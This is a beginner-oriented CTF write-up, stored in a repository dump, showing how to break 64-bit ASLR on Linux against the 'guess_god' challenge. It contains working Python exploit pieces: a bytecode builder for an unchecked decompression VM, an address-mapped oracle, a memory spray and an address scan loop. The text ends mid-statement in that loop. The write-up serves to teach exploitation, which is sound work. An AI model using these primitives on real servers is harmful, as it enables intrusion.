[
  {
    "path": "README.md",
    "content": "# Breaking 64 bit aslr on Linux x86-64\n\nIn this article, I'll discuss about the application of the technique described by [Samuel Groß](https://twitter.com/5aelo) in his [Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass](https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html), to bypass ASLR on Linux x86_64. \n\nTo show this I'm gonna solve a pwnable challenge from [Buckeye CTF](https://ctf.osucyber.club/), guess_god.\n\nI'll try to keep the content as beginner friendly as possible, so feel free to skip any section if you feel confident enough and just want to see the exploit.\n\n# 0. Introduction\n<p align=\"center\"><img src=\"./images/intro-chall-description.png\"></p><br/>\n\nI didn't play the CTF, but I got interested in the challenge about 2hrs before the ctf end thanks to [Guray00](https://github.com/Guray00), who was asking for help in [fibonhack](https://twitter.com/fibonhack) discord about some crypto shenanigans. \n\nI couldn't help him, but I took a look at pwnable challenges, and figured it would be good to understand the P0 blogpost and hopefully get that bounty.\n\n# 1. ASLR and how to bypass it\n\n## 1.1 What is ASLR?\n**Address Space Layout Randomization** (ASLR) is a computer security technique which involves **randomly positioning** the base address of an executable and the position of libraries, heap, and stack, in a process's address space.\n\n## 1.2 ASLR on Linux\n\nOn linux, you can inspect the mappings of a process given its pid through [procfs](https://www.kernel.org/doc/Documentation/filesystems/proc.txt), by reading the file `/proc/<pid>/maps`.\n\nIf you are a process and you want to know your own memory mappings, you can read `/proc/self/maps`.\n\nFor example, you can try to read `/proc/self/maps` with `cat`:\n\n```\nroot@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps\n55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233                    /usr/bin/cat\n55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233                    /usr/bin/cat\n55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233                    /usr/bin/cat\n55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233                    /usr/bin/cat\n55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233                    /usr/bin/cat\n55faeb115000-55faeb136000 rw-p 00000000 00:00 0                          [heap]\n7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0\n7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0\n7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0                          [stack]\n7fff43989000-7fff4398d000 r--p 00000000 00:00 0                          [vvar]\n7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0                          [vdso]\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]\n\nroot@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps\n55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233                    /usr/bin/cat\n55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233                    /usr/bin/cat\n55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233                    /usr/bin/cat\n55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233                    /usr/bin/cat\n55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233                    /usr/bin/cat\n55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0                          [heap]\n7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0\n7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561                    /usr/lib/x86_64-linux-gnu/libc-2.33.so\n7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0\n7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539                    /usr/lib/x86_64-linux-gnu/ld-2.33.so\n7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0                          [stack]\n7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0                          [vvar]\n7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0                          [vdso]\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]\n```\n\n### Memory mappings patterns\n\nIf you do this a couple of times, you could deduce that:\n* The binary PIE base should be in the range 0x00005500_00000000-0x00005700_00000000, which means 2TB of possible addresses.\n* The heap is near the binary.\n* Libraries fall in the range 0x00007f00_00000000 - 0x00007fff_ffffffff, 1TB of possible addresses.\n* Stack goes \\(most of the time\\) in the range 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16gb of possible addresses.\n* The range 0xffffffffff600000 - 0xffffffffff601000 is always mapped, you can read [this article](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) if you are curious about what it is.\n\n## 1.3 How to bypass ASLR without an infoleak\n\nLet's discuss what you can do to bypass ASLR when no information leak is possble.\n\nThis is my attempt to summarize what I got from reading Saelo's blogpost.\n\nTo bypass ASLR you need:\n* A memory spraying technique, which lets you map contiguous memory of a given size, on a given range of addresses.\n  \n  As he says there are two ways of doing it:\n  1. By abusing a memory leak (not an information leak!), a bug in which a chunk of memory is “forgotten” and never freed, and triggering it multiple times until the desired amount of memory has been leaked.\n  2. By finding and abusing an “amplification gadget”: a piece of code that takes an existing chunk of data and copies it, potentially multiple times, thus allowing the attacker to spray a large amount of memory by only sending a relatively small number of bytes.\n* An `isAddressMapped` oracle, which given an address tells you wheter or not that address is mapped.\n\n### PoC of ASLR bypass on Linux\n\nLet's try to reproduce saelo's PoC to completely break aslr on Linux.\n\n<p align=\"center\"> <img src=\"./images/ios-break-aslr.png\" > <i> saelo's poc</i> <p/> <br/>\n\nOn Linux it's not so easy, it is possible to completely break ASLR only if you are able to allocate 16TB of memory.\n\n```C\n#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    // 64gb\n    size_t size = 0x1000000000;\n\n    // 16TB allocations\n    for (int i = 0; i < 256; i++) {\n        void *mem = malloc(size); // this ends up calling mmap\n        if (!mem) {\n            puts(\"Failed\");\n            return 1;\n        }\n        printf(\"%p\\n\", mem);\n    }\n\n    unsigned int *mem = (void*)0x7f0000000000ULL;\n    *mem = 0x41414141;\n    printf(\"R/W to %p: %x\\n\", mem, *mem);\n\n    return 0;\n}\n```\n\n\n### Note about glibc memory allocation\n\nFrom [man malloc](https://man7.org/linux/man-pages/man3/realloc.3.html) notes:\n- Normally, malloc() allocates memory from the heap, and adjusts the size of the heap as required, using sbrk(2). When allocating blocks of memory larger than MMAP_THRESHOLD bytes, the glibc malloc() implementation allocates the memory as a private anonymous mapping using mmap(2). MMAP_THRESHOLD is 128 kB by default, but is adjustable using mallopt(3). Allocations performed using mmap(2) are unaffected by the RLIMIT_DATA resource limit (see getrlimit(2)).\n\nSo `void *mem = malloc(size)` will end up calling `mmap(size + malloc_metadata_size, ...)`\n\nSince libraries are mapped into the process through mmap by `ld`, those allocations will end up near the libraries.\n\n### Boundary cross trick\nIf you look at the addresses returned by malloc you can better understand what is happening. Protip: look at the most significant bytes.\n\n| mem | 16tb boundary cross?\n| - |-\n|0x7fb03b55e010| No\n|0x7fa03b55d010| No\n|0x7f903b55c010| No\n|0x7f803b55b010| No\n|0x7f703b55a010| No\n|0x7f603b559010| No\n|0x7f503b558010| No\n|0x7f403b557010| No\n|0x7f303b556010| No\n|0x7f203b555010| No\n|0x7f103b554010| No\n|0x7f003b553010| No\n|0x7ef03b552010| Yes\n|0x7ee03b551010| Yes\n|0x7ed03b550010| Yes\n|0x7ec03b54f010| Yes\n\nThe poc is exploiting the fact that, at some point, the most significant byte of the address returned changes from 7F to 7E and since the allocations are contiguous there must be something inside that range. \\(Yeah we are applying the [Bolzano-Weirstress theorem](https://en.wikipedia.org/wiki/Intermediate_value_theorem) to solve this problem!\\)\n\n# 2 The challenge\n\nThankfully to the author, the zip contains binaries, source code and dockerfile to reproduce the same environment as the remote one.\n\n<p align=\"center\"> <img src=\"./images/intro-dist-files.png\" width=\"50%\"><p/> <br/>\n\n## 2.1 Initial foothold\n\nIt's always a good thing to grasp some knowledge about the environment, let's scroll through the files and take some notes.\n\n* jail.cfg set some restrictions, let's not forget about those limits since they might screw up the exploit:\n  ```yaml\n  time_limit: 300\n  cgroup_cpu_ms_per_sec: 100\n  cgroup_pids_max: 64\n  rlimit_fsize: 2048\n  rlimit_nofile: 2048\n  cgroup_mem_max: 1073741824 # 1GB\n  ```\n\n* From the Dockerfile we can learn some interesting things:\n  1. Build and install oatpp 1.2.5, maybe there are useful bugs in this specific version?\n     ```Docker\n     # Install oatpp\n     RUN git clone https://github.com/oatpp/oatpp.git\n     RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install\n     ```\n  \n  2. It builds the challenge from scratch\n     ```docker\n     WORKDIR /home/ctf/challenge/src/\n     RUN mkdir -p src/build && cd src/build && cmake .. && make\n     RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/\n     ```\n     This might be a problem, so let's copy the distribuited binaries  instead.\n     ```docker\n     COPY bins/flag_server-exe /home/ctf/challenge/\n     COPY bins/libkylezip.so /home/ctf/challenge/\n     ```\n* And the last thing, check the protections of the binaries provided\n  <p align=\"center\"> <img src=\"./images/checksec.png\"><br/> <i></i></p>\n  Sweet, libkylezip.so is compiled with Partial RELRO, that means that the GOT is writable, keep that in mind for when we want to get code execution.\n\n## 2.2 Setup the local environment and poke the application\n\ndocker-compose.yml file is provided so it is not hard at all to get a working local environment to poke. For those of you that are not confident with docker here is the list of commands you need to know to poke the challenge locally.\n\n```bash\ndocker-compose build # Build the image, do this whenever you change something\ndocker-compose up # start the container\ndocker-compose down # stop the container\n\ndocker ps # list containers\ndocker exec -it <CONTAINER ID> <COMMAND> # exec COMMAND into the container\n```\n\nAfter doing `docker-compose build` you can execute `docker-compose up` to start the container, and connect to the challenge with `nc 127.0.0.1 9000`\n<p align=\"center\"> <img src=\"./images/docker-up-nc.png\" ><br/> <i></i><p/> \n\n# 3. Source code analysis\n\nNow that we have some basic knowledge about what we should do in order to bypass ASLR, let's look at the source code, keeping in mind that we want to:\n* a way to spray memory in known ranges of memory\n* an isAddrMapped oracle\n\n<p align=\"center\"> <img src=\"./images/source-code-folder.png\" width=\"50%\"><br/> <i> Source code folder </i><p/> \n\nIt's mostly glue code to get an oatpp web server up and running, in fact the important files which we are gonna analyze are:\n* src/controller/MyController.*\n* kylezip/decompress.*\n\n## 3.1 MyController.*\n\n<p align=\"center\"> <img src=\"./images/MyControllerHpp.png\"><br/> <i>MyController.hpp</i><p/> \n\nThere are 3 endpoints:\n* `/`\n* `GET /files/{fileId}` -> Download a previously uploaded file, if extract is true extract before downloading it.\n* `POST /upload/{fileId}` -> Upload a file given a {fileId}.\n\nAnd one function implemented in `MyController.cpp`\n```C\nstd::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) \n``` \nwhich:\n* Set `to_open` to `{file_id}` or `{file_id}.unkyle`\n  ```C\n  std::ostringstream comp_fname;\n  comp_fname << filename;\n  if (extract) {\n    // Want the un-kylezip-d version\n    comp_fname << \".unkyle\";\n  }\n  auto to_open = comp_fname.str();\n  ```\n\n* If it's the first time we are requesting to extract `{file_id}` then it calls decompress on it,\n  which will write the decompressed file of `{file_id}` to `{file_id}.unkyle`.\n  ```C\n  int fd = open(to_open.c_str(), O_RDONLY);\n  if (fd == -1) {\n      if (!extract) return NULL;\n\n      /* Need to create decompressed version of file\n       * Kyle gave me a buggy library so we are going to fork\n       * in case we crash the web server will still stay up.\n       */\n      pid_t p = fork();\n      if (p == 0) {\n        decompress(filename);\n        exit(0);\n      } else {\n        waitpid(p, NULL, 0);\n      }\n\n\n      fd = open(to_open.c_str(), O_RDONLY);\n      if (fd == -1) {\n        return NULL;\n      }\n  }\n  ```\n\n* In the end `mmap` the result in memory.\n  ```C\n  struct stat sb;\n  \n  if (fstat(fd, &sb) != 0) {\n      return NULL;\n  }\n  \n  /* mmap the file in for performance, or something... idk kyle made me write this */\n  // \n  void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  ```\n\n### Observations\n\n* [fork()](https://man7.org/linux/man-pages/man2/fork.2.html) creates a new process by duplicating the calling process, at the time of fork() both memory spaces have the same content.\n\n  So if we are able to turn decompress() to an oracle which:\n  * Crashes on bad addresses\n  * Doesn't crash on nice addresses\n\n  We could use that primitive to infer the memory space of the parent.\n\n* There is a call to `mmap` in the parent process:\n  ```C\n  void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  \n  ``` \n  if we can control `sb.st_size`, which is the size of the decompressed file, we could easily turn it into a memory spraying primitive.\n\n## 3.2 decompress.*\n\n### decompress()\n\n```C\nint decompress(const char *fname)\n```\n\n* Maps the input file to the address `0x42069000000`.\n* Maps the output file to the address `0x13371337000`.\n* Calls do_decompress() which gets the decompression done.\n\nThe file is expected to be in the format:\n| offset | name | type | description |\n| - | - | - | - | \n| +0h | magic | uint64 | a magic value, it is expected to be 0x0123456789abcdef |\n| +8h | filesize | uint64 | size of the decompressed file |\n\n### do_decompress()\n\n\n```C\nstatic void do_decompress(char *out, char *in, size_t insize)\n```\nYou can view this function as a simple *virtual machine*, which executes the bytecode pointed by `in` and writes the output to the buffer pointed by `out`. \n\n`in` points to our `{file_id}`.\n\n`out` points to `{file_id.unkyle}`.\n\nThis VM has 4 opcodes:\n* 0 -> NOP\n* 1 -> STORE(u8 b)\n  \n  writes `b` to `out`, increments out by `1`.\n  \n  Opcode implementation:\n  ```C\n  case 1: {\n      // Write byte\n      uint8_t b = in[cur++];\n      *(out++) = b;\n      break;\n  }\n  ```   \n\n* 2 -> SEEK(u64 off)\n\n  set `out` to `out + off`. \n  \n  `out` and `off` are 64 bit values, so `out = out+off` is equivalent to `out = (out+off) % MAX_64BIT_VALUE`, this is called [integer overflow](https://en.wikipedia.org/wiki/Integer_overflow) and we can exploit this behaviour to reach any 64 bit value. Example:\n  ```py\n  M64 = (1<<64) # Maximum 64bit value\n  def get_off(out: int, target: int):\n    return (target-out) % M64\n  \n  # We are at 0xffffffff, what can we add to reach 0?\n  print ('{:#x}'.format(get_off(0xffffffff, 0)))\n  # Result = 0xffffffff00000001\n\n  # That's the same as doing this\n  M64 = (1<<64)-1 # Maximum 64bit value\n  def get_off(out: int, target: int):\n    return (target-out) & M64\n  \n  print ('{:#x}'.format(get_off(0xffffffff, 0)))\n\n  ```\n\n  Opcode implementation:\n  ```C\n  case 2: {\n    // Seek\n    uint64_t off = *(uint64_t*)(&in[cur]);\n    cur += sizeof(off);\n    out += off;\n    break;\n  }\n  ``` \n\n* 3 -> LOAD(off, size). \n  Copy `size` bytes from `out - off` to `out`, increment `out` by 8.\n\n  Opcode implementation:\n  ```C\n  case 3: {\n    // Copy some previously written bytes\n    uint64_t off = *(uint64_t*)(&in[cur]);\n    cur += sizeof(off);\n    uint64_t count = *(uint64_t*)(&in[cur]);\n    cur += sizeof(off);\n    memcpy(out, out-off, count);\n    out += count;\n    break;\n  }\n  ```\n\nThere are no bounds check in any of the operation, that gives us 2 useful primitives:\n* Read What Where, abusing `SEEK+LOAD`\n* Write What Where: abusing `SEEK+STORE`\n\nI used this code to build the bytecode:\n```py\nIN_ADDR = 0x42069000000 # PROT R\nOUT_ADDR = 0x13371337000 # PROT RW\nM64 = (1<<64)-1\n\nclass CompressedFile():\n    __slots__ = ['cur', 'content', 'out']\n\n    def __init__(self, filesize):\n        self.cur = 16\n        self.content = b''\n        self.content += p64(0x0123456789abcdef) # magic\n        self.content += p64(filesize) # file size\n        self.out = OUT_ADDR\n\n    def nop(self):\n        self.content += b'\\x00'\n        self.cur += 1\n\n    def write(self, b: bytes):\n        assert len(b) == 1\n\n        self.content += b'\\x01' + b\n        self.cur += 2\n        self.out += 1\n\n    def seek(self, off):\n        self.content += b'\\x02'\n        self.content += p64(off)\n        self.cur += 9\n\n    def memcpy(self, off, count):\n        # memcpy(out, out-off, count);\n        self.content += b'\\x03'\n        self.content += p64(off)\n        self.content += p64(count)\n        self.cur += 17\n```\n\n# 4. Interacting with the binary\n\nBefore diving into the exploitation phase, It is always good to build something that let you easily interact with the binary, to avoid wasting time.\n\n```py\nimport requests\n\ndef uploadFile(blob: bytes, fileid: int):\n    assert (fileid < (1<<31) - 1)\n\n    multipart_form_data = {\n        'file': (f'payload_{fileid}', blob),\n    }\n\n    res = requests.post(\n        f\"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}\",\n        files=multipart_form_data\n    )\n\n    return res\n\ndef getFile(fileid: int, extract=\"true\"):\n    res = requests.get(f\"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}\")\n    return res\n```\n\n### Inspect the memory mappings of the challenge\n\nThat was very important to me when trying to solve the challenge, I stared at the memory mappings for a lot of time.\n\nTo do this, you can spawn a local instance of the challenge and read the process maps after doing some operations.\n\n<p align=\"center\"> <img src=\"./images/read-proc-mappings.png\" ><br/> <i></i><p/> \n\n\n## 4.2 isAddrMapped oracle\n\nWe are given a read what where primitive, so building an isAddressMapped oracle is not hard at all.\n\nMy way to do it was to build this bytecode:\n* `memcpy(out, targetAddress, 1)`\n* `write(b'A')`\n\nIf targetAddress is not mapped the child program segfaults on memcpy, giving us a decompressed file filled with null bytes.\n\nIf targetAddress is mapped, the decompressed file has a b'\\x41' as the second byte.\n\n```py\ndef isAddrMapped(addr, fileid, filelen=2):\n    toup = CompressedFile(filelen)\n    \n    # addr = OUT_ADDR - off\n    off = (OUT_ADDR - addr) & M64\n    # memcpy(toup.out, addr, 1)\n    toup.memcpy(off, 1)\n    # *(toup.out+1) = 0x41\n    toup.write(b'\\x41')\n\n    uploadFile(toup.content, fileid)\n    res = getFile(fileid)\n    isMapped = res.content[1] == 0x41\n    \n    return isMapped\n```\n\n## 4.3 Memory Spray primitive\n\nWe can completely control the size of the decompressed file, and we get an mmap of that size in [MyController.cpp:62](resources/dist-guess-god/src/src/controller/MyController.cpp#L62). \n\nIn my exploit i used the `isAddrMapped` function, and changed the filelen.\n\nFor example, let's try to allocate a contiguous chunk of size = 0x4000000 = 64mb\n```py\nisAddrMapped(IN_ADDR, 0, 0x4000000)\n```\n\nThat's the result:\n```\nroot@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps\n...\n7f3450000000-7f3454000000 r--p 00000000 00:af 3                          /challenge/files/0.unkyle\n...\n```\n\nIf you try do it again:\n```py\nisAddrMapped(IN_ADDR, 0, 0x4000000)\nisAddrMapped(IN_ADDR, 0, 0x4000000)\n```\n\nThat's the result:\n```\n7f344c000000-7f3450000000 r--p 00000000 00:af 5                          /challenge/files/1.unkyle\n7f3450000000-7f3454000000 r--p 00000000 00:af 3                          /challenge/files/0.unkyle\n```\n\nNice! Multiple allocations won't have gaps.\n\n## 4.4 How much memory to spray?\n\nAs you can see from [this poc](#poc-of-aslr-bypass-on-linux), the ideal size for the contiguous mapped memory would be 16TB.\n\nUnfortunately, if you try to allocate 16TB of memory on the remote server, the mmap will fail, because [nsjail limit this](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).\n\nAfter some trial and error I found out that I can spray ~3840mb of memory, with this code:\n\n```py\nsize =    0x000004000000\nfor i in range(0, 60):\n    print ('.', end='')\n    isAddrMapped(IN_ADDR, i, size)\n```\n\nthe result memory mappings will be something like this:\n\n### Memory Spray result\n```\nroot@088ec31b2ce9:/home/ctf/challenge# cat /proc/`pgrep flag_server-exe`/maps\n... My spray: ...\n7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121                        /challenge/files/59.unkyle\n7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119                        /challenge/files/58.unkyle\n7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117                        /challenge/files/57.unkyle\n7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115                        /challenge/files/56.unkyle\n7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113                        /challenge/files/55.unkyle\n7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111                        /challenge/files/54.unkyle\n7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109                        /challenge/files/53.unkyle\n7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107                        /challenge/files/52.unkyle\n7fe2fc000000-7fe300000000 r--p 00000000 00:af 105                        /challenge/files/51.unkyle\n7fe300000000-7fe304000000 r--p 00000000 00:af 103                        /challenge/files/50.unkyle\n7fe304000000-7fe308000000 r--p 00000000 00:af 101                        /challenge/files/49.unkyle\n7fe308000000-7fe30c000000 r--p 00000000 00:af 99                         /challenge/files/48.unkyle\n7fe30c000000-7fe310000000 r--p 00000000 00:af 97                         /challenge/files/47.unkyle\n7fe310000000-7fe314000000 r--p 00000000 00:af 95                         /challenge/files/46.unkyle\n7fe314000000-7fe318000000 r--p 00000000 00:af 93                         /challenge/files/45.unkyle\n7fe318000000-7fe31c000000 r--p 00000000 00:af 91                         /challenge/files/44.unkyle\n7fe31c000000-7fe320000000 r--p 00000000 00:af 89                         /challenge/files/43.unkyle\n7fe320000000-7fe324000000 r--p 00000000 00:af 87                         /challenge/files/42.unkyle\n7fe324000000-7fe328000000 r--p 00000000 00:af 85                         /challenge/files/41.unkyle\n7fe328000000-7fe32c000000 r--p 00000000 00:af 83                         /challenge/files/40.unkyle\n7fe32c000000-7fe330000000 r--p 00000000 00:af 81                         /challenge/files/39.unkyle\n7fe330000000-7fe334000000 r--p 00000000 00:af 79                         /challenge/files/38.unkyle\n7fe334000000-7fe338000000 r--p 00000000 00:af 77                         /challenge/files/37.unkyle\n7fe338000000-7fe33c000000 r--p 00000000 00:af 75                         /challenge/files/36.unkyle\n7fe33c000000-7fe340000000 r--p 00000000 00:af 73                         /challenge/files/35.unkyle\n7fe340000000-7fe344000000 r--p 00000000 00:af 71                         /challenge/files/34.unkyle\n7fe344000000-7fe348000000 r--p 00000000 00:af 69                         /challenge/files/33.unkyle\n7fe348000000-7fe34c000000 r--p 00000000 00:af 67                         /challenge/files/32.unkyle\n7fe34c000000-7fe350000000 r--p 00000000 00:af 65                         /challenge/files/31.unkyle\n7fe350000000-7fe354000000 r--p 00000000 00:af 63                         /challenge/files/30.unkyle\n7fe354000000-7fe358000000 r--p 00000000 00:af 61                         /challenge/files/29.unkyle\n7fe358000000-7fe35c000000 r--p 00000000 00:af 59                         /challenge/files/28.unkyle\n7fe35c000000-7fe360000000 r--p 00000000 00:af 57                         /challenge/files/27.unkyle\n7fe360000000-7fe364000000 r--p 00000000 00:af 55                         /challenge/files/26.unkyle\n7fe364000000-7fe368000000 r--p 00000000 00:af 53                         /challenge/files/25.unkyle\n7fe368000000-7fe36c000000 r--p 00000000 00:af 51                         /challenge/files/24.unkyle\n7fe36c000000-7fe370000000 r--p 00000000 00:af 49                         /challenge/files/23.unkyle\n7fe370000000-7fe374000000 r--p 00000000 00:af 47                         /challenge/files/22.unkyle\n7fe374000000-7fe378000000 r--p 00000000 00:af 45                         /challenge/files/21.unkyle\n7fe378000000-7fe37c000000 r--p 00000000 00:af 43                         /challenge/files/20.unkyle\n7fe37c000000-7fe380000000 r--p 00000000 00:af 41                         /challenge/files/19.unkyle\n7fe380000000-7fe384000000 r--p 00000000 00:af 39                         /challenge/files/18.unkyle\n7fe384000000-7fe388000000 r--p 00000000 00:af 37                         /challenge/files/17.unkyle\n7fe388000000-7fe38c000000 r--p 00000000 00:af 35                         /challenge/files/16.unkyle\n7fe38c000000-7fe390000000 r--p 00000000 00:af 33                         /challenge/files/15.unkyle\n7fe390000000-7fe394000000 r--p 00000000 00:af 31                         /challenge/files/14.unkyle\n7fe394000000-7fe398000000 r--p 00000000 00:af 29                         /challenge/files/13.unkyle\n7fe398000000-7fe39c000000 r--p 00000000 00:af 27                         /challenge/files/12.unkyle\n7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25                         /challenge/files/11.unkyle\n7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0\n7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0\n7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23                         /challenge/files/10.unkyle\n7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21                         /challenge/files/9.unkyle\n7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19                         /challenge/files/8.unkyle\n7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17                         /challenge/files/7.unkyle\n7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15                         /challenge/files/6.unkyle\n7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13                         /challenge/files/5.unkyle\n7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11                         /challenge/files/4.unkyle\n7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9                          /challenge/files/3.unkyle\n7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7                          /challenge/files/2.unkyle\n7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5                          /challenge/files/1.unkyle\n7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3                          /challenge/files/0.unkyle\n7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0\n7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0\n\n... Libraries: ...\n\n7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so\n7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0\n7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so\n\n...\n\n```\n\nLet's focus our attention on the addresses created with the memory spraying. \\(*.unkyle files \\)\n\nWe can try to apply the [boundary cross trick](#Boundary-cross-trick).\n\n| mem | 4gb boundary cross?\n| - |-\n| 7fe2dc000000 | No\n| 7fe2e0000000 | No\n| 7fe2e4000000 | No\n| 7fe2e8000000 | No\n| 7fe2ec000000 | No\n| 7fe2f0000000 | No\n| 7fe2f4000000 | No\n| 7fe2f8000000 | No\n| 7fe2fc000000 | No\n| 7fe300000000 | Yes\n| 7fe304000000 | Yes\n| 7fe308000000 | Yes\nBy exploiting the change from 7fe2.. to 7fe3.. we can scan memory with a step of 0x100000000 = 4gb memory.\n\n## 4.5 Finally defeating ASLR \n\nGiven that step size, we can scan `start=0x7f0000000000` to `end=0x800000000000` with only `end - start / size` = 256 queries.\n\n```py\nstart = 0x7f0000000000\nend = 0x800000000000 \nstep = 0x100000000 # 4gb\n\nisMapped = False\nj = 0xff\nwhile isMapped == False:\n    leakAddr = start + j*step\n    isMapped = (isAddrMapped(leakAddr, 1000 + j))\n    j -= 